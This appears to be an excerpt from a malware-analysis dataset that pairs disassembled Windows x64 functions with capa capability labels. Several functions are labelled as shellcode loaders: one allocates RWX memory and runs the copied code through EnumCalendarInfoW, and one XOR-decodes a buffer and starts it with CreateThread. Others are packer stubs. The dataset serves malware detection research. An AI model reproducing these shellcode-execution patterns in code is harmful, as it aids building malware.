joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400045a4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
cmp qword [rsp + 0x70], 0
jg 0x1400045c6
xor eax, eax
jmp 0x14000476f
mov rax, qword [rsp + 0x60]
cmp qword [rax + 0x68], 0
je 0x1400045ec
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x14000476f
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jbe 0x140004685
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x20]
call fcn.140001b1c
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, qword [rsp + 0x28]
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call fcn.140003558
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov edx, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
mov rax, qword [rsp + 0x60]
cmp qword [rax + 0x80], 0
je 0x14000475f
mov rcx, qword [rsp + 0x60]
call fcn.140003030
mov qword [rsp + 0x48], 0xfff
cmp qword [rsp + 0x20], 0xfff
jbe 0x140004726
mov rax, qword [rsp + 0x60]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x30], 0xfff
je 0x140004724
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
jmp 0x14000476f
jmp 0x1400046ab
cmp qword [rsp + 0x20], 0
jbe 0x14000475f
mov rax, qword [rsp + 0x60]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x20]
mov edx, 1
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
add rsp, 0x58
ret
Function at 0x140004774
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x68], 0
je 0x1400047ad
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14000489b
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x50], 0
jle 0x140004843
cmp qword [rsp + 0x20], 0
jle 0x140004843
mov rax, qword [rsp + 0x20]
cmp qword [rsp + 0x50], rax
jge 0x1400047ed
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
call fcn.140003558
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rsp + 0x50], 0
jle 0x14000488b
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x80], 0
je 0x14000488b
mov rax, qword [rsp + 0x40]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
sub rcx, rax
mov rax, rcx
add rsp, 0x38
ret
Function at 0x1400048a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x208
lea rdx, str.1234
lea rcx, [rsp + 0xb0]
call fcn.140001f88
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0xf0]
call fcn.140001dcc
nop
mov r8d, 2
xor edx, edx
lea rcx, [rsp + 0xf0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0xf0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, rax
call fcn.1400025d8
mov qword [rsp + 0x38], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xf0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rcx, [rsp + 0x30]
call fcn.140001400
mov r8, rax
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x78]
call fcn.1400020a0
nop
lea rcx, [rsp + 0x78]
call fcn.140003378
mov r8, qword [rsp + 0x38]
mov rdx, rax
lea rcx, [rsp + 0xf0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0xf0]
call fcn.14000350c
lea rax, [rsp + 0x90]
lea rcx, str.kujghioauf
mov rdi, rax
mov rsi, rcx
mov ecx, 0xb
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x58], 0xa
lea rcx, [rsp + 0x78]
call fcn.140003378
mov r9, qword [rsp + 0x58]
lea r8, [rsp + 0x90]
mov rdx, qword [rsp + 0x38]
mov rcx, rax
call fcn.140004524
mov rcx, qword [rsp + 0x38]
call fcn.140004b64
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x78]
call fcn.1400035b4
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x78]
call fcn.140003420
mov r8, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rcx]
mov rcx, qword [rax]
call fcn.140001a0c
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, qword [rsp + 0x38]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x50], rax
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call sub.VCRUNTIME140.dll_memmove
mov r9d, 0x15
mov r8d, 0xffffffff
mov edx, 0x400
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
call fcn.140004b5c
mov dword [rsp + 0x40], 0
lea rcx, [rsp + 0x78]
call fcn.1400024ec
nop
lea rcx, [rsp + 0xf0]
call fcn.1400026ac
nop
lea rcx, [rsp + 0xb0]
call fcn.14000248c
mov eax, dword [rsp + 0x40]
add rsp, 0x208
pop rdi
pop rsi
ret
Function at 0x140005340
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000538a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000538a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000538a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000538a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000538a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000538c
xor al, al
add rsp, 0x28
ret
Function at 0x401663
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r9d, 4
movsxd rdi, edx
mov rbp, rcx
mov r12, r8
xor ecx, ecx
mov r8d, 0x3000
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r8d, [rdi - 1]
mov rsi, rdi
mov rbx, rax
xor ecx, ecx
mov r9d, 4
cmp esi, ecx
jle 0x4016c2
mov eax, r8d
dec r8d
cdq
idiv r9d
movsxd rdx, edx
mov al, byte [r12 + rdx]
inc eax
xor al, byte [rbp + rcx]
mov byte [rbx + rcx], al
inc rcx
jmp 0x40169f
mov rcx, rbx
call fcn.00401563
lea r9, [rsp + 0x3c]
mov rdx, rdi
mov r8d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8, [0x00401560]
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x401722
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r8d, r8d
mov r9d, 1
mov rdi, rcx
mov esi, edx
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov edx, 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rcx, [0x00408980]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov rbx, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x4017cd
xor edx, edx
mov rcx, rbx
lea rbp, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x4017cd
test esi, esi
jle 0x4017b7
mov qword [rsp + 0x20], 0
mov r9, rbp
mov r8d, esi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4017c2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4017cd
mov edx, dword [rsp + 0x4c]
add rdi, rdx
sub esi, edx
jmp 0x401794
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x4017f4
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov rdi, rcx
mov ebx, edx
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea rcx, [0x00408980]
lea rbp, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
xor eax, eax
cmp rsi, 0xffffffffffffffff
je 0x40188b
test ebx, ebx
jle 0x401870
mov qword [rsp + 0x20], 0
mov r9, rbp
mov r8d, ebx
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401880
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x40188b
mov edx, dword [rsp + 0x4c]
add rdi, rdx
sub ebx, edx
jmp 0x40184d
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x4018f8
Capabilities:
Create thread

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x00405480]
movsxd rcx, dword [rbx + 4]
call sub.msvcrt.dll_malloc
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, qword [sym.imp.msvcrt.dll__time64]
mov rsi, rax
mov ecx, 0x400
call rbp
xor ecx, ecx
call rdi
mov ecx, eax
call sub.msvcrt.dll_srand
mov edx, dword [rbx + 4]
mov rcx, rsi
call fcn.004017f4
test eax, eax
je 0x4018bd
mov edx, dword [rbx + 4]
lea r8, [rbx + 8]
mov rcx, rsi
call fcn.00401663
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
push rsi
push rbx
sub rsp, 0x78
xor ecx, ecx
call qword [sym.imp.msvcrt.dll__time64]
mov ecx, eax
call sub.msvcrt.dll_srand
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
call sub.msvcrt.dll_rand
mov ebx, eax
call sub.msvcrt.dll_rand
mov ecx, 0x26aa
mov r8d, eax
xor edx, edx
mov eax, esi
mov r9d, 0x5c
mov dword [rsp + 0x50], 0x5c
div ecx
mov eax, ebx
mov ecx, 0x7f
lea rbx, [0x00408980]
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
imul eax, r8d
mov dword [rsp + 0x60], edx
mov r8d, 0x5c
cdq
idiv ecx
mov rcx, rbx
mov dword [rsp + 0x58], edx
lea rdx, [0x00405010]
call sub.msvcrt.dll_sprintf
lea rdx, str.mojo.70473
mov rcx, rbx
call sub.msvcrt.dll_strcat
mov rbx, qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x00401710]
call rbx
lea r8, [0x004017d6]
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
call rbx
xor ecx, ecx
add rsp, 0x78
pop rbx
pop rsi
jmp 0x401894
Function at 0x402050
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rsi, rcx
mov ecx, dword [0x00408624]
mov rdi, rdx
mov rbp, r8
test ecx, ecx
jle 0x402170
mov rax, qword [0x00408628]
xor ebx, ebx
add rax, 0x18
mov rdx, qword [rax]
cmp rsi, rdx
jb 0x40209c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rsi, rdx
jb 0x402156
add ebx, 1
add rax, 0x28
cmp ebx, ecx
jne 0x402080
mov rcx, rsi
call fcn.00402c90
test rax, rax
mov r12, rax
je 0x4021a8
movsxd rbx, ebx
lea rbx, [rbx + rbx*4]
shl rbx, 3
mov r13, rbx
add r13, qword [0x00408628]
mov qword [r13 + 0x20], rax
mov dword [r13], 0
call fcn.00402de0
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 0x18], rax
mov rax, qword [0x00408628]
mov rcx, qword [rax + rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40218b
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40214f
sub eax, 0x40
and eax, 0xffffffbf
je 0x40214f
add rbx, qword [0x00408628]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x402177
add dword [0x00408624], 1
mov r8, rbp
mov rdx, rdi
mov rcx, rsi
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
xor ebx, ebx
jmp 0x4020a7
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00401fe0
mov rax, qword [0x00408628]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.00401fe0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rsi
call fcn.00401fe0
nop
nop dword [rax + rax]

Function at 0x402900
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004088e0]
test rbx, rbx
je 0x402954
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40294b
test rsi, rsi
je 0x40294b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402930
lea rcx, [0x00408900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402c90
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x00405350]
xor edx, edx
mov r8, rcx
cmp word [r9], 0x5a4d
je 0x402cb0
mov rax, rdx
add rsp, 0x28
ret
mov rcx, r9
call fcn.00402b70
test eax, eax
je 0x402ca8
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add rax, r9
movzx edx, word [rax + 0x14]
lea rdx, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402d0d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x402d04
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x402ca8
add rdx, 0x28
cmp rdx, r9
jne 0x402cf0
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret

Function at 0x140eeadb8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140eeadc2
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140eeadeb
pop rbp
sub rbp, 0x33
sub rbp, 0xeeadb8
sub rsp, 0x20
jmp 0x140eeae0a
mov rax, 0xeeadb8
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffff8621104e
xor byte [rax], dl
inc rax
dec rcx
jne 0x140eeae29
jmp 0x140eeae40
invalid
Function at 0x1003c67a0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1003c67ad
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1003c67bd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1003c67a5
lea eax, [rcx + 1]
jmp 0x1003c67cb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1003c67de
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1003c67c4
sub eax, 3
jb 0x1003c67fe
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1003c684d
sar eax, 1
movsxd rbp, eax
jb 0x1003c6834
jmp 0x1003c680c
add ebx, ebx
jne 0x1003c680a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1003c6834
inc ecx
add ebx, ebx
jne 0x1003c681a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1003c6834
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1003c682d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1003c681c
add ecx, 2
jmp 0x1003c6839
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1003c6762
jmp 0x1003c67ad
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x1a07a0
mov dl, 0x33
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1003c6899
cmp rsi, rcx
jae 0x1003c68a1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1003c6880
cmp al, 0x8f
ja 0x1003c6880
cmp byte [rsi - 2], 0xf
je 0x1003c6886
sub al, 0xe8
cmp al, 1
ja 0x1003c686a
cmp rsi, rcx
jae 0x1003c68a1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1003c6870
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1003c68a1
lodsb al, byte [rsi]
jmp 0x1003c6880
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x3c3000]
mov eax, dword [rdi]
or eax, eax
je 0x1003c68fe
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x3c8f24]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1003c68ae
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1003c68f8
mov qword [rbx], rax
add rbx, 8
jmp 0x1003c68ce
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.1003c6981], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.1003c6981
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1003c6971
sub rsp, 0xffffffffffffff80
jmp 0x100002c90
Function at 0xbc0b90
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0xbc0b9d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0xbc0bad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0xbc0b95
lea eax, [rcx + 1]
jmp 0xbc0bbb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0xbc0bce
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0xbc0bb4
sub eax, 3
jb 0xbc0bee
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0xbc0c3d
sar eax, 1
movsxd rbp, eax
jb 0xbc0c24
jmp 0xbc0bfc
add ebx, ebx
jne 0xbc0bfa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xbc0c24
inc ecx
add ebx, ebx
jne 0xbc0c0a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xbc0c24
call r11
adc ecx, ecx
add ebx, ebx
jne 0xbc0c1d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0xbc0c0c
add ecx, 2
jmp 0xbc0c29
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.00bc0b52
jmp 0xbc0b9d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x39b000
mov dl, 0x35
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0xbc0c89
cmp rsi, rcx
jae 0xbc0c91
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0xbc0c70
cmp al, 0x8f
ja 0xbc0c70
cmp byte [rsi - 2], 0xf
je 0xbc0c76
sub al, 0xe8
cmp al, 1
ja 0xbc0c5a
cmp rsi, rcx
jae 0xbc0c91
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0xbc0c60
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0xbc0c91
lodsb al, byte [rsi]
jmp 0xbc0c70
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x7a5000]
mov eax, dword [rdi]
or eax, eax
je 0xbc0cee
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x7cea24]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0xbc0c9e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0xbc0ce8
mov qword [rbx], rax
add rbx, 8
jmp 0xbc0cbe
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0xbc0d28
cmp al, 0xef
ja 0xbc0d1a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0xbc0cfa
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0xbc0d09
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0xbc0d7c
sub rsp, 0xffffffffffffff80
jmp 0x785060